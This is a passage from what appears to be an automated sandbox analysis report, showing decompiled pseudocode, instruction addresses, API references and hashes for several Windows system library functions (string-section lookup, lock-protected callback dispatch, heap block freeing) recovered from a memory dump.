										if(_t140 < 0) {
											if(_t140 != 0xc000000d) {
												L32:
												return E6A95B640(_t140, _t193, _v8 ^ _t237, _t220, _t229, _t233);
											} else {
												goto L65;
											}
										} else {
											 *_t229 = _t193[0xe];
											goto L20;
										}
									}
								}
							}
						}
					}
				}
				L83:
			}

0x6a93336f
0x6a933376
0x6a933378
0x6a93337f
0x6a933387
0x6a93338a
0x6a93338d
0x6a933390
0x6a933393
0x6a933396
0x6a933399
0x6a93339d
0x6a97d994
0x6a9333a3
0x6a9333a3
0x6a9333a3
0x6a9333ab
0x6a9333ae
0x6a97da5a
0x6a97da5a
0x00000000
0x6a9333b4
0x6a9333b8
0x6a9334ea
0x6a9334ea
0x00000000
0x6a9333be
0x6a9333be
0x6a9333c4
0x6a97d99b
0x00000000
0x6a9333ca
0x6a9333cc
0x6a933458
0x6a933458
0x00000000
0x6a9333d2
0x6a9333d2
0x6a9333d7
0x6a97d9c2
0x00000000
0x6a9333e5
0x6a9333e5
0x6a9333e8
0x6a9333eb
0x6a9333f0
0x6a9333f5
0x6a97d9d7
0x6a97d9ea
0x00000000
0x6a97d9f0
0x6a97d9f0
0x6a97d9ff
0x6a97da04
0x6a97da07
0x6a93345b
0x6a933461
0x6a933464
0x6a97da0e
0x6a97da0e
0x6a93346a
0x6a933471
0x6a933475
0x6a93353f
0x6a97da7c
0x6a97da82
0x6a97da84
0x6a97da89
0x6a97da8f
0x6a97da92
0x6a97da92
0x6a97da96
0x6a97da9a
0x6a97daa3
0x6a97daa8
0x6a97dac1
0x00000000
0x6a97dac7
0x6a97dac7
0x6a97daca
0x00000000
0x6a97daca
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97dacd
0x6a97dacd
0x6a97dad0
0x6a97dad0
0x6a97dad5
0x00000000
0x6a93354f
0x6a93354f
0x6a933555
0x6a93355c
0x6a933562
0x6a93356e
0x6a93357a
0x6a933581
0x00000000
0x6a933587
0x6a933589
0x6a93358e
0x6a933590
0x6a933594
0x6a933599
0x00000000
0x00000000
0x00000000
0x6a933599
0x6a933590
0x6a93359b
0x6a93359e
0x6a9335a2
0x6a9335a4
0x6a9335a4
0x6a9335b0
0x6a9335b0
0x6a9335b7
0x6a9335bb
0x6a9335c5
0x6a9335d6
0x00000000
0x00000000
0x6a97da64
0x6a97da69
0x00000000
0x6a97da6f
0x6a97da71
0x00000000
0x6a97da77
0x00000000
0x6a97da77
0x6a97da71
0x00000000
0x6a97da69
0x6a9335de
0x00000000
0x6a9335e4
0x6a9335e6
0x00000000
0x6a9335e8
0x00000000
0x6a9335e8
0x6a9335e6
0x6a9335de
0x6a933581
0x6a93347b
0x6a93347e
0x6a933486
0x6a933488
0x6a93348a
0x6a93348d
0x6a9335ed
0x6a933493
0x6a933498
0x6a933498
0x6a93349a
0x6a93349d
0x6a93349f
0x6a9334a2
0x6a9334a9
0x6a9334ab
0x6a9334ad
0x6a9334b0
0x6a9334b5
0x00000000
0x6a9334b7
0x6a9334b7
0x6a9334c0
0x6a9334c0
0x6a9334c5
0x00000000
0x00000000
0x6a9334cb
0x6a9334d1
0x6a9335f4
0x6a9335fa
0x6a97da20
0x6a97da23
0x6a97da24
0x6a97da27
0x6a97da2a
0x6a97da35
0x6a97da3d
0x00000000
0x6a933600
0x6a933600
0x6a933607
0x6a93360b
0x6a933614
0x6a933625
0x6a97da15
0x6a97da18
0x00000000
0x6a93362b
0x6a93362b
0x6a93362b
0x6a93362e
0x6a933630
0x00000000
0x6a933640
0x6a933640
0x6a933645
0x6a93364c
0x6a933656
0x6a93365c
0x6a933664
0x6a933669
0x6a933669
0x6a933664
0x6a93367e
0x6a93367e
0x6a933630
0x6a933625
0x6a9334df
0x6a9334df
0x6a9334df
0x6a9334e2
0x6a9334e3
0x6a9334e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9334e8
0x00000000
0x6a9334d1
0x6a97da47
0x6a97da52
0x00000000
0x6a97da57
0x6a9334b5
0x6a933475
0x6a9333fb
0x6a9333fd
0x6a97d9a4
0x6a97d9aa
0x6a97d9aa
0x6a97d9ad
0x6a97d9b6
0x6a97d9b8
0x6a97d9b8
0x6a97d9bd
0x6a933403
0x6a933405
0x6a933407
0x6a933410
0x6a933410
0x6a933413
0x6a933416
0x6a933417
0x6a93341d
0x6a933535
0x6a933535
0x6a933423
0x6a933426
0x6a933502
0x6a933519
0x6a933525
0x6a933531
0x00000000
0x6a93342c
0x6a93342f
0x6a93342f
0x6a933426
0x6a933438
0x6a93343a
0x6a93343e
0x6a93343e
0x6a933405
0x6a933441
0x6a933444
0x6a933447
0x6a933449
0x6a93344b
0x6a93344d
0x6a97d9d1
0x6a9334f2
0x6a9334ff
0x00000000
0x00000000
0x00000000
0x6a933453
0x6a933456
0x00000000
0x6a933456
0x6a93344d
0x6a9333f5
0x6a9333d7
0x6a9333cc
0x6a9333c4
0x6a9333b8
0x00000000

APIs

bsearch.1105(?,?,00000000,00000018,6A948C30,6A932A25,00000000,00000000), ref: 6A933575
RtlCompareUnicodeString.1105(?,?,?,?,?,6A932A25,00000000,00000000), ref: 6A9335CF
RtlHashUnicodeString.1105(?,?,00000000,?,6A932A25,00000000,00000000), ref: 6A97D9E3
DbgPrintEx.1105(00000033,00000000,RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.,?,?,?,00000000,?,6A932A25,00000000,00000000), ref: 6A97D9FF

Strings

RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section., xrefs: 6A97D9F6
SsHd, xrefs: 6A9333A5
SXS: String hash collision chain offset at %p (= %ld) out of bounds, xrefs: 6A97DA49
SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p, xrefs: 6A97DA2C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$CompareHashPrintbsearch
String ID: RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.$SXS: String hash collision chain offset at %p (= %ld) out of bounds$SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p$SsHd
API String ID: 856964118-2905229100
Opcode ID: 98e23758820fa224493edd07ecab3a7b6c57d231da5672c940a839a1f30ec780
Instruction ID: cb269780ce3a28151f9b5dbdc64638531442aba47845261fd44dfdb417d94d0a
Opcode Fuzzy Hash: 98e23758820fa224493edd07ecab3a7b6c57d231da5672c940a839a1f30ec780
Instruction Fuzzy Hash: F1D19075A44229AFDF25CF68C8946AEF7F5FF48314F25406AE814AB341EB31D841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A913ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A913ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6a9ef4d0);
				E6A96D0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6A932280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6A92FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6A96D130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6aa08628;
									 *(_t317 - 0x44) =  *0x6aa0862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6aa0862c;
							__eflags =  *(_t317 - 0x30) -  *0x6aa08628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6aa08628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6A94DF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6A92FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6A932280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6A932280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6A92FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6A932280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6A9A30AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6A913E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6aa0b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6A937D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
										_t252 = E6A9A2E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6A913E6B(_t252);
									_t230 = E6A913E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6a913aca
0x6a913acf
0x6a913ad4
0x6a913ad9
0x6a913adb
0x6a913ae0
0x6a913ae3
0x6a913ae5
0x6a913ae8
0x6a913aeb
0x6a913aed
0x6a913af5
0x6a913af8
0x6a913afb
0x6a913afe
0x6a913b05
0x6a913b0a
0x6a913b0d
0x00000000
0x6a913b10
0x6a913b15
0x6a913b1a
0x6a913b21
0x6a913b30
0x6a913b30
0x6a913b33
0x6a913b33
0x6a913b36
0x6a913b39
0x6a913b3f
0x6a913b47
0x6a913b4a
0x6a913b4a
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b4f
0x6a913b54
0x6a913b5c
0x6a913b61
0x6a913b67
0x6a913b6f
0x6a913b6f
0x6a913b71
0x6a913b75
0x6a913b77
0x00000000
0x00000000
0x6a913e6c
0x6a913e6c
0x6a913b7d
0x6a913b7d
0x6a913b82
0x6a913b84
0x6a913b87
0x6a913b8a
0x6a913b8d
0x6a913b90
0x6a913b90
0x6a913b97
0x6a913b97
0x6a913ba7
0x6a913baa
0x6a913bad
0x6a913bad
0x6a913bb7
0x6a913bb7
0x6a913bbc
0x6a913bbf
0x6a913bc1
0x6a913bc7
0x6a913bcd
0x6a913bd5
0x6a913bd8
0x6a913bda
0x6a913be1
0x6a913be4
0x6a913be7
0x6a913bea
0x6a913bed
0x6a913d97
0x6a913d9c
0x6a913da8
0x6a913dad
0x6a913db0
0x6a913db2
0x6a913db5
0x6a97020b
0x6a970211
0x6a970213
0x6a970213
0x6a913dbb
0x00000000
0x6a913dbb
0x6a913bf3
0x6a913bf5
0x00000000
0x00000000
0x6a913bfb
0x6a913bfe
0x6a913bfe
0x6a913bfe
0x6a913c02
0x6a913dd1
0x6a913dd1
0x6a913dd7
0x6a9700c1
0x6a9700c4
0x6a913c11
0x6a913c11
0x6a913c14
0x6a9700cf
0x6a9700d2
0x00000000
0x00000000
0x6a9700d8
0x6a9700e6
0x6a9700e9
0x6a9700ec
0x6a9700ef
0x00000000
0x00000000
0x00000000
0x6a9700f5
0x6a9700dd
0x6a9700e0
0x00000000
0x00000000
0x00000000
0x6a9700e0
0x6a913c1a
0x6a913c1a
0x6a913c1d
0x6a913e20
0x6a913e23
0x00000000
0x00000000
0x00000000
0x6a913e29
0x6a913c23
0x6a913c23
0x6a913c26
0x6a913c2c
0x6a913c2f
0x6a913c35
0x6a913c3b
0x6a913c41
0x6a913c47
0x6a913c4d
0x6a913c59
0x6a913c5f
0x6a913c62
0x6a913c68
0x6a913c6a
0x6a913c6d
0x6a913c74
0x6a913c79
0x6a913c7b
0x6a913c7e
0x6a913c80
0x6a913c83
0x6a913c89
0x6a913c8b
0x6a913dea
0x6a913df1
0x6a913df2
0x6a913df5
0x6a913df8
0x6a913dfb
0x6a913dfd
0x00000000
0x00000000
0x6a913e03
0x6a913e07
0x6a913e42
0x6a913e49
0x6a913e4a
0x6a913e4d
0x00000000
0x6a913e4d
0x6a913e09
0x6a913d86
0x6a913d89
0x6a913d8c
0x6a913d8e
0x6a913e31
0x6a913e31
0x6a913d94
0x00000000
0x6a913d94
0x6a913c91
0x6a913c91
0x6a913c94
0x6a913d23
0x6a913d23
0x6a913d27
0x6a913e16
0x6a913e16
0x6a913d2d
0x6a913d31
0x6a9701fe
0x6a9701fe
0x6a913d84
0x6a913d84
0x00000000
0x6a913d84
0x6a913d3d
0x6a913d44
0x6a913d45
0x6a913d48
0x6a913d4f
0x6a9701de
0x6a9701de
0x6a9701e2
0x00000000
0x00000000
0x6a9701ea
0x6a9701ea
0x6a9701eb
0x6a9701f9
0x00000000
0x6a9701f9
0x6a913d55
0x6a913d5c
0x00000000
0x00000000
0x6a913d62
0x6a913d66
0x6a913e55
0x6a913e5e
0x6a913e60
0x00000000
0x00000000
0x6a913d75
0x6a913d75
0x6a913d79
0x6a913d7b
0x6a913d7e
0x6a9701c7
0x6a9701ca
0x6a9701cd
0x6a9701d0
0x6a9701d3
0x6a9701d6
0x6a9701d6
0x6a913d7e
0x00000000
0x6a913d79
0x6a913d6c
0x6a913d72
0x00000000
0x6a913d72
0x6a913c9d
0x6a913ca0
0x6a913cab
0x6a913cae
0x6a913cb1
0x6a913cb5
0x6a913cb7
0x6a913cd2
0x6a913cdb
0x6a913cdb
0x6a913cde
0x6a913ce1
0x6a913ce3
0x6a9700fa
0x6a9700fd
0x00000000
0x00000000
0x6a970103
0x6a970107
0x6a970113
0x6a970125
0x6a97012b
0x6a97012e
0x6a970131
0x00000000
0x6a970131
0x6a970109
0x6a97010d
0x00000000
0x00000000
0x00000000
0x6a913ce9
0x6a913ce9
0x6a913ce9
0x6a913cee
0x6a970139
0x6a970149
0x6a97014f
0x6a97014f
0x6a913cf4
0x6a913cf9
0x6a913cfb
0x6a970160
0x6a913d01
0x6a913d01
0x6a913d01
0x6a913d06
0x6a913d09
0x6a970184
0x6a970184
0x6a913d0f
0x6a913d16
0x6a913d1e
0x00000000
0x6a913d1e
0x6a913ce3
0x6a9700ca
0x6a913ddd
0x6a913de0
0x00000000
0x00000000
0x00000000
0x6a913de2
0x6a913c08
0x6a913c0b
0x6a913dc9
0x6a913dcb
0x00000000
0x00000000
0x00000000
0x6a913dcb
0x00000000
0x6a913c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6A9EF4D0,00000084,6A913A18,00000000,?,?), ref: 6A913C74

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 5dcf9acb97bde1ea620fa3150fc36f7dab7a2872d4f7e7535193199d2e86621c
Instruction ID: 789dbb26d6d3889c05c45313123ff7eeb2a3fc224c6c4c152e5bfff5e7a3e506
Opcode Fuzzy Hash: 5dcf9acb97bde1ea620fa3150fc36f7dab7a2872d4f7e7535193199d2e86621c
Instruction Fuzzy Hash: 3AE1FF74E04618DFCBA5CFA9C984A9EFBF5BF48304F21456AE856A7261DB31E841CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6A94AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6A94AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6A96D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6aa08a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6A9596E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6A9C3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6A9596E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
